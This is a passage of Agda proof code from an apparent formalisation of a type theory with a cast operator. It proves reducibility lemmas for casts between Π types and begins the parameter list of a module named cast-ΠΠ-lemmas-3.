→ ([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ ([x≡y] : Δ ⊩⟨ ι ⁰ ⟩ x ≡ y ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ g ρ x ≡ g ρ y ∷ wk (lift ρ) G₁ [ x ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x]
[gext] {ρ} {Δ} {x} {y} [ρ] ⊢Δ [x] [y] [x≡y] =
let
[b₁] = [b] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ ⊢fste) [x]
[b₂] = [b] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ ⊢fste) [y]
[b₁≡b₂] = [bext] [ρ] ⊢Δ (Twk.wkTerm [ρ] ⊢Δ ⊢fste) (Twk.wkTerm [ρ] ⊢Δ ⊢fste) [x] [y] [x≡y]
D₁ = (appRed* (escapeTerm ([F] [ρ] ⊢Δ) [b₁]) (Twk.wkRed*Term [ρ] ⊢Δ Df))
D₂ = (appRed* (escapeTerm ([F] [ρ] ⊢Δ) [b₂]) (Twk.wkRed*Term [ρ] ⊢Δ Df))
[t₁] = proj₁ (redSubst*Term D₁ ([G] [ρ] ⊢Δ [b₁]) ([f] [ρ] ⊢Δ [b₁]))
[t₂] = proj₁ (redSubst*Term D₂ ([G] [ρ] ⊢Δ [b₂]) ([f] [ρ] ⊢Δ [b₂]))
[t₁≡t₂] = redSubst*EqTerm D₁ D₂ ([G] [ρ] ⊢Δ [b₁]) ([G] [ρ] ⊢Δ [b₂]) (G-ext [ρ] ⊢Δ [b₁] [b₂] [b₁≡b₂])
([f] [ρ] ⊢Δ [b₁]) ([f] [ρ] ⊢Δ [b₂]) ([fext] [ρ] ⊢Δ [b₁] [b₂] [b₁≡b₂])
in extrecursor [ρ] ⊢Δ [b₁] [b₂] [b₁≡b₂] [x] [y] [x≡y] [t₁] [t₂] [t₁≡t₂] (⊢snde′ [ρ] ⊢Δ (escapeTerm ([F₁] [ρ] ⊢Δ) [x])) (⊢snde′ [ρ] ⊢Δ (escapeTerm ([F₁] [ρ] ⊢Δ) [y]))
Δ₁ = Γ ∙ F₁ ^ [ rF , ι ⁰ ]
⊢Δ₁ : ⊢ Δ₁
⊢Δ₁ = ⊢Γ ∙ ⊢F₁
ρ₁ = (step id)
[ρ₁] : ρ₁ Twk.∷ Δ₁ ⊆ Γ
[ρ₁] = Twk.step Twk.id
[0] : Δ₁ ⊩⟨ ι ⁰ ⟩ var 0 ∷ wk ρ₁ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ₁] ⊢Δ₁
[0] = neuTerm ([F₁] [ρ₁] ⊢Δ₁) (var 0) (var ⊢Δ₁ here) (~-var (var ⊢Δ₁ here))
⊢g0 = PE.subst (λ X → Δ₁ ⊢ g (step id) (var 0) ∷ X ^ [ ! , ι ⁰ ]) (wkSingleSubstId G₁) (escapeTerm ([G₁] [ρ₁] ⊢Δ₁ [0]) ([g] [ρ₁] ⊢Δ₁ [0]))
⊢λg : Γ ⊢ lam F₁ ▹ g (step id) (var 0) ^ ⁰ ∷ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ]
⊢λg = lamⱼ (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₁ ⊢g0
Dg : Γ ⊢ cast ⁰ A B e t :⇒*: (lam F₁ ▹ g (step id) (var 0) ^ ⁰) ∷ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ ι ⁰
Dg =
let
g0 = lam F₁ ▹ cast ⁰ (G [ b (step id) (fst (wk1 e)) (var 0) ]↑) G₁
((snd (wk1 e)) ∘ (var 0) ^ ¹) ((wk1 t) ∘ (b (step id) (fst (wk1 e)) (var 0)) ^ ⁰) ^ ⁰
g≡g : g0 PE.≡ lam F₁ ▹ g (step id) (var 0) ^ ⁰
g≡g = PE.cong₂ (λ X Y → lam F₁ ▹ cast ⁰ X Y ((snd (wk1 e)) ∘ (var 0) ^ ¹) ((wk1 t) ∘ (b (step id) (fst (wk1 e)) (var 0)) ^ ⁰) ^ ⁰)
(wk1d[]-[]↑ G (b (step id) (fst (wk1 e)) (var 0))) (PE.sym (wkSingleSubstId G₁))
⊢e′ = conv ⊢e (univ (Id-cong (refl (univ 0<1 ⊢Γ))
(un-univ≡ (subset* D)) (refl (un-univ ⊢B))))
⊢e″ = conv ⊢e (univ (Id-cong (refl (univ 0<1 ⊢Γ))
(un-univ≡ (subset* D)) (un-univ≡ (subset* D₁))))
in [[ conv (castⱼ (un-univ ⊢A) (un-univ ⊢B) ⊢e (conv ⊢t (sym (subset* D)))) (subset* D₁)
, ⊢λg
, (conv* (CastRed*Term′ ⊢B ⊢e (conv ⊢t (sym (subset* D))) D
⇨∷* castΠRed* ⊢F ⊢G ⊢e′ ⊢t D₁) (subset* D₁))
⇨∷* (PE.subst (λ X → Γ ⊢ cast ⁰ (Π F ^ rF ° ⁰ ▹ G ° ⁰ ° ⁰) (Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰) e t ⇒ X ∷ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ ι ⁰) g≡g
(cast-Π (un-univ ⊢F) (un-univ ⊢G) (un-univ ⊢F₁) (un-univ ⊢G₁) ⊢e″ ⊢t) ⇨ (id ⊢λg)) ]]
g≡g : Γ ⊢ (lam F₁ ▹ g (step id) (var 0) ^ ⁰) ≅ (lam F₁ ▹ g (step id) (var 0) ^ ⁰) ∷ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ]
g≡g =
let
⊢F₁′ = Twk.wk (Twk.step Twk.id) ⊢Δ₁ ⊢F₁
⊢g0 = escapeTerm ([G₁] [ρ₁] ⊢Δ₁ [0]) ([g] [ρ₁] ⊢Δ₁ [0])
⊢g0′ = (PE.subst (λ X → Δ₁ ⊢ g (step id) (var 0) ∷ X ^ [ ! , ι ⁰ ]) (wkSingleSubstId G₁) ⊢g0)
⊢g0″ = Twk.wkTerm (Twk.lift (Twk.step Twk.id)) (⊢Δ₁ ∙ ⊢F₁′) ⊢g0′
D : Δ₁ ⊢ (lam (wk1 F₁) ▹ wk1d (g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ⇒* g (step id) (var 0) ∷ wk1d G₁ [ var 0 ] ^ ι ⁰
D = PE.subst (λ X → Δ₁ ⊢ (lam (wk1 F₁) ▹ wk1d (g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ⇒ X ∷ wk1d G₁ [ var 0 ] ^ ι ⁰) (wkSingleSubstId (g (step id) (var 0)))
(β-red (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₁′ ⊢g0″ (var ⊢Δ₁ here))
⇨ id ⊢g0
[g0] : Δ₁ ⊩⟨ ι ⁰ ⟩ (lam (wk1 F₁) ▹ wk1d (g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ∷ wk1d G₁ [ var 0 ] ^ [ ! , ι ⁰ ] / [G₁] [ρ₁] ⊢Δ₁ [0]
[g0] = proj₁ (redSubst*Term D ([G₁] [ρ₁] ⊢Δ₁ [0]) ([g] [ρ₁] ⊢Δ₁ [0]))
x₀ = escapeEqReflTerm ([G₁] [ρ₁] ⊢Δ₁ [0]) [g0]
x₁ = PE.subst (λ X → Δ₁ ⊢ (lam (wk1 F₁) ▹ wk1d (g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ≅ (lam (wk1 F₁) ▹ wk1d (g (step id) (var 0)) ^ ⁰) ∘ (var 0) ^ ⁰ ∷ X ^ [ ! , ι ⁰ ]) (wkSingleSubstId G₁) x₀
in ≅-η-eq (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₁ ⊢λg ⊢λg lamₙ lamₙ x₁
g∘a≡ga : ∀ {ρ Δ a}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ)
→ (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊢ wk ρ (lam F₁ ▹ g (step id) (var 0) ^ ⁰) ∘ a ^ ⁰ ⇒* g ρ a ∷ wk (lift ρ) G₁ [ a ] ^ ι ⁰
g∘a≡ga {ρ} {Δ} {a} [ρ] ⊢Δ [a] =
let
⊢F₁′ = (Twk.wk [ρ] ⊢Δ ⊢F₁)
-- this lemma is already in ⊢snde′. maybe refactor?
x₀ : wk (lift ρ) (b (step id) (fst (wk1 e)) (var 0)) [ a ] PE.≡ b ρ (fst (wk ρ e)) a
x₀ = PE.trans
(PE.cong (λ X → cast ⁰ (wk (lift ρ) (wk1 F₁) [ a ]) (wk (lift ρ) (wk1 F) [ a ]) X a)
(PE.trans (PE.cong (λ X → X [ a ]) (wk-Idsym (lift ρ) (Univ rF ⁰) (wk1 F) (wk1 F₁) (fst (wk1 e))))
(subst-Idsym (sgSubst a) (Univ rF ⁰) (wk (lift ρ) (wk1 F)) (wk (lift ρ) (wk1 F₁)) (fst (wk (lift ρ) (wk1 e))))))
(PE.cong₃ (λ X Y Z → cast ⁰ Y X (Idsym (Univ rF ⁰) X Y (fst Z)) a) (irrelevant-subst′ ρ F a) (irrelevant-subst′ ρ F₁ a) (irrelevant-subst′ ρ e a))
x₁ : wk (lift ρ) (g (step id) (var 0)) [ a ] PE.≡ g ρ a
x₁ = PE.cong₄ (λ X Y Z T → cast ⁰ X Y Z T)
(PE.trans (cast-subst-lemma6 ρ G _ a) (PE.cong (λ X → wk (lift ρ) G [ X ]) x₀))
(PE.cong (λ X → wk (lift ρ) X [ a ]) (wkSingleSubstId G₁))
(PE.cong (λ X → snd X ∘ a ^ ¹) (irrelevant-subst′ ρ e a))
(PE.cong₂ (λ X Y → X ∘ Y ^ ⁰) (irrelevant-subst′ ρ t a) x₀)
x₂ : Δ ∙ (wk ρ F₁) ^ [ rF , ι ⁰ ] ⊢ wk (lift ρ) (g (step id) (var 0)) ∷ wk (lift ρ) G₁ ^ [ ! , ι ⁰ ]
x₂ = Twk.wkTerm (Twk.lift [ρ]) (⊢Δ ∙ ⊢F₁′) ⊢g0
in PE.subst (λ X → Δ ⊢ wk ρ (lam F₁ ▹ g (step id) (var 0) ^ ⁰) ∘ a ^ ⁰ ⇒ X ∷ wk (lift ρ) G₁ [ a ] ^ ι ⁰) x₁
(β-red (≡is≤ PE.refl) (≡is≤ PE.refl) ⊢F₁′ x₂ (escapeTerm ([F₁] [ρ] ⊢Δ) [a]))
⇨ id (escapeTerm ([G₁] [ρ] ⊢Δ [a]) ([g] [ρ] ⊢Δ [a]))
[castΠΠ] : Γ ⊩⟨ ι ⁰ ⟩ cast ⁰ A B e t ∷ B ^ [ ! , ι ⁰ ] / (Πᵣ′ rF ⁰ ⁰ (≡is≤ PE.refl) (≡is≤ PE.refl) F₁ G₁ [[ ⊢B , ⊢ΠF₁G₁ , D₁ ]] ⊢F₁ ⊢G₁ A₁≡A₁ [F₁] [G₁] G₁-ext)
[castΠΠ] = ((lam F₁ ▹ g (step id) (var 0) ^ ⁰) , Dg , lamₙ , g≡g
, (λ [ρ] ⊢Δ [a] [a′] [a≡a′] → redSubst*EqTerm (g∘a≡ga [ρ] ⊢Δ [a]) (g∘a≡ga [ρ] ⊢Δ [a′])
([G₁] [ρ] ⊢Δ [a]) ([G₁] [ρ] ⊢Δ [a′]) (G₁-ext [ρ] ⊢Δ [a] [a′] [a≡a′])
([g] [ρ] ⊢Δ [a]) ([g] [ρ] ⊢Δ [a′]) ([gext] [ρ] ⊢Δ [a] [a′] [a≡a′]))
, (λ [ρ] ⊢Δ [a] → proj₁ (redSubst*Term (g∘a≡ga [ρ] ⊢Δ [a]) ([G₁] [ρ] ⊢Δ [a]) ([g] [ρ] ⊢Δ [a]))))
module cast-ΠΠ-lemmas-3
{Γ A₁ A₂ A₃ A₄ F₁ F₂ F₃ F₄ rF G₁ G₂ G₃ G₄ e₁₃ e₂₄ t₁ f₁ t₂ f₂}
(⊢Γ : ⊢ Γ)
(⊢A₁ : Γ ⊢ A₁ ^ [ ! , ι ⁰ ])
(⊢ΠF₁G₁ : Γ ⊢ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D₁ : Γ ⊢ A₁ ⇒* Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(⊢F₁ : Γ ⊢ F₁ ^ [ rF , ι ⁰ ])
(⊢G₁ : (Γ ∙ F₁ ^ [ rF , ι ⁰ ]) ⊢ G₁ ^ [ ! , ι ⁰ ])
(A₁≡A₁ : Γ ⊢ (Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰) ≅ (Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
([F₁] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₁ ^ [ rF , ι ⁰ ])
([G₁] : ∀ {ρ} {Δ} {a} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₁ [ a ] ^ [ ! , ι ⁰ ]))
(G₁-ext : ∀ {ρ} {Δ} {a} {b} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / ([F₁] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₁ [ a ] ≡ wk (lift ρ) G₁ [ b ] ^ [ ! , ι ⁰ ] / ([G₁] [ρ] ⊢Δ [a])))
(⊢A₂ : Γ ⊢ A₂ ^ [ ! , ι ⁰ ])
(⊢ΠF₂G₂ : Γ ⊢ Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D₂ : Γ ⊢ A₂ ⇒* Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(⊢F₂ : Γ ⊢ F₂ ^ [ rF , ι ⁰ ])
(⊢G₂ : (Γ ∙ F₂ ^ [ rF , ι ⁰ ]) ⊢ G₂ ^ [ ! , ι ⁰ ])
(A₂≡A₂ : Γ ⊢ (Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰) ≅ (Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
([F₂] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₂ ^ [ rF , ι ⁰ ])
([G₂] : ∀ {ρ} {Δ} {a} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / ([F₂] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₂ [ a ] ^ [ ! , ι ⁰ ]))
(G₂-ext : ∀ {ρ} {Δ} {a} {b} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / ([F₂] [ρ] ⊢Δ))
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / ([F₂] [ρ] ⊢Δ))
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / ([F₂] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₂ [ a ] ≡ wk (lift ρ) G₂ [ b ] ^ [ ! , ι ⁰ ] / ([G₂] [ρ] ⊢Δ [a])))
(⊢A₃ : Γ ⊢ A₃ ^ [ ! , ι ⁰ ])
(⊢ΠF₃G₃ : Γ ⊢ Π F₃ ^ rF ° ⁰ ▹ G₃ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D₃ : Γ ⊢ A₃ ⇒* Π F₃ ^ rF ° ⁰ ▹ G₃ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(⊢F₃ : Γ ⊢ F₃ ^ [ rF , ι ⁰ ])
(⊢G₃ : (Γ ∙ F₃ ^ [ rF , ι ⁰ ]) ⊢ G₃ ^ [ ! , ι ⁰ ])
(A₃≡A₃ : Γ ⊢ (Π F₃ ^ rF ° ⁰ ▹ G₃ ° ⁰ ° ⁰) ≅ (Π F₃ ^ rF ° ⁰ ▹ G₃ ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
([F₃] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₃ ^ [ rF , ι ⁰ ])
([G₃] : ∀ {ρ} {Δ} {a} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / ([F₃] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₃ [ a ] ^ [ ! , ι ⁰ ]))
(G₃-ext : ∀ {ρ} {Δ} {a} {b} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / ([F₃] [ρ] ⊢Δ))
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / ([F₃] [ρ] ⊢Δ))
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / ([F₃] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₃ [ a ] ≡ wk (lift ρ) G₃ [ b ] ^ [ ! , ι ⁰ ] / ([G₃] [ρ] ⊢Δ [a])))
(⊢A₄ : Γ ⊢ A₄ ^ [ ! , ι ⁰ ])
(⊢ΠF₄G₄ : Γ ⊢ Π F₄ ^ rF ° ⁰ ▹ G₄ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(D₄ : Γ ⊢ A₄ ⇒* Π F₄ ^ rF ° ⁰ ▹ G₄ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(⊢F₄ : Γ ⊢ F₄ ^ [ rF , ι ⁰ ])
(⊢G₄ : (Γ ∙ F₄ ^ [ rF , ι ⁰ ]) ⊢ G₄ ^ [ ! , ι ⁰ ])
(A₄≡A₄ : Γ ⊢ (Π F₄ ^ rF ° ⁰ ▹ G₄ ° ⁰ ° ⁰) ≅ (Π F₄ ^ rF ° ⁰ ▹ G₄ ° ⁰ ° ⁰) ^ [ ! , ι ⁰ ])
([F₄] : ∀ {ρ} {Δ} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₄ ^ [ rF , ι ⁰ ])
([G₄] : ∀ {ρ} {Δ} {a} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / ([F₄] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₄ [ a ] ^ [ ! , ι ⁰ ]))
(G₄-ext : ∀ {ρ} {Δ} {a} {b} ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / ([F₄] [ρ] ⊢Δ))
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / ([F₄] [ρ] ⊢Δ))
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / ([F₄] [ρ] ⊢Δ))
→ (Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₄ [ a ] ≡ wk (lift ρ) G₄ [ b ] ^ [ ! , ι ⁰ ] / ([G₄] [ρ] ⊢Δ [a])))
(A₁≡A₂ : Γ ⊢ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ≅ Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(A₃≡A₄ : Γ ⊢ Π F₃ ^ rF ° ⁰ ▹ G₃ ° ⁰ ° ⁰ ≅ Π F₄ ^ rF ° ⁰ ▹ G₄ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
([F₁≡F₂] : ∀ {ρ Δ} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₁ ≡ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([F₃≡F₄] : ∀ {ρ Δ} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → Δ ⊩⟨ ι ⁰ ⟩ wk ρ F₃ ≡ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
([G₁≡G₂] : ∀ {ρ Δ a} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₁ [ a ] ≡ wk (lift ρ) G₂ [ a ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [a])
([G₃≡G₄] : ∀ {ρ Δ a} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk (lift ρ) G₃ [ a ] ≡ wk (lift ρ) G₄ [ a ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [a])
(⊢e₁₃ : Γ ⊢ e₁₃ ∷ Id (U ⁰) A₁ A₃ ^ [ % , ι ¹ ])
(⊢e₂₄ : Γ ⊢ e₂₄ ∷ Id (U ⁰) A₂ A₄ ^ [ % , ι ¹ ])
(⊢t₁ : Γ ⊢ t₁ ∷ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(Df₁ : Γ ⊢ t₁ ⇒* f₁ ∷ Π F₁ ^ rF ° ⁰ ▹ G₁ ° ⁰ ° ⁰ ^ ι ⁰)
([f₁ext] : ∀ {ρ Δ a b} →
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f₁ ∘ a ^ ⁰ ≡ wk ρ f₁ ∘ b ^ ⁰ ∷ wk (lift ρ) G₁ [ a ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [a])
([f₁] : ∀ {ρ Δ a}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f₁ ∘ a ^ ⁰ ∷ wk (lift ρ) G₁ [ a ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [a])
(⊢t₂ : Γ ⊢ t₂ ∷ Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰ ^ [ ! , ι ⁰ ])
(Df₂ : Γ ⊢ t₂ ⇒* f₂ ∷ Π F₂ ^ rF ° ⁰ ▹ G₂ ° ⁰ ° ⁰ ^ ι ⁰)
([f₂ext] : ∀ {ρ Δ a b} →
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
([b] : Δ ⊩⟨ ι ⁰ ⟩ b ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
([a≡b] : Δ ⊩⟨ ι ⁰ ⟩ a ≡ b ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f₂ ∘ a ^ ⁰ ≡ wk ρ f₂ ∘ b ^ ⁰ ∷ wk (lift ρ) G₂ [ a ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [a])
([f₂] : ∀ {ρ Δ a}
→ ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
→ ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f₂ ∘ a ^ ⁰ ∷ wk (lift ρ) G₂ [ a ] ^ [ ! , ι ⁰ ] / [G₂] [ρ] ⊢Δ [a])
([f₁≡f₂] : ∀ {ρ Δ a} → ([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ) → ([a] : Δ ⊩⟨ ι ⁰ ⟩ a ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
→ Δ ⊩⟨ ι ⁰ ⟩ wk ρ f₁ ∘ a ^ ⁰ ≡ wk ρ f₂ ∘ a ^ ⁰ ∷ wk (lift ρ) G₁ [ a ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [a])
(recursor₁ : ∀ {ρ Δ x y t e}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₁ ^ [ rF , ι ⁰ ] / [F₁] [ρ] ⊢Δ)
([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₃ ^ [ rF , ι ⁰ ] / [F₃] [ρ] ⊢Δ)
([t] : Δ ⊩⟨ ι ⁰ ⟩ t ∷ wk (lift ρ) G₁ [ x ] ^ [ ! , ι ⁰ ] / [G₁] [ρ] ⊢Δ [x])
(⊢e : Δ ⊢ e ∷ Id (U ⁰) (wk (lift ρ) G₁ [ x ]) (wk (lift ρ) G₃ [ y ]) ^ [ % , ι ¹ ])
→ Δ ⊩⟨ ι ⁰ ⟩ cast ⁰ (wk (lift ρ) G₁ [ x ]) (wk (lift ρ) G₃ [ y ]) e t ∷ wk (lift ρ) G₃ [ y ] ^ [ ! , ι ⁰ ] / [G₃] [ρ] ⊢Δ [y])
(recursor₂ : ∀ {ρ Δ x y t e}
([ρ] : ρ Twk.∷ Δ ⊆ Γ) (⊢Δ : ⊢ Δ)
([x] : Δ ⊩⟨ ι ⁰ ⟩ x ∷ wk ρ F₂ ^ [ rF , ι ⁰ ] / [F₂] [ρ] ⊢Δ)
([y] : Δ ⊩⟨ ι ⁰ ⟩ y ∷ wk ρ F₄ ^ [ rF , ι ⁰ ] / [F₄] [ρ] ⊢Δ)
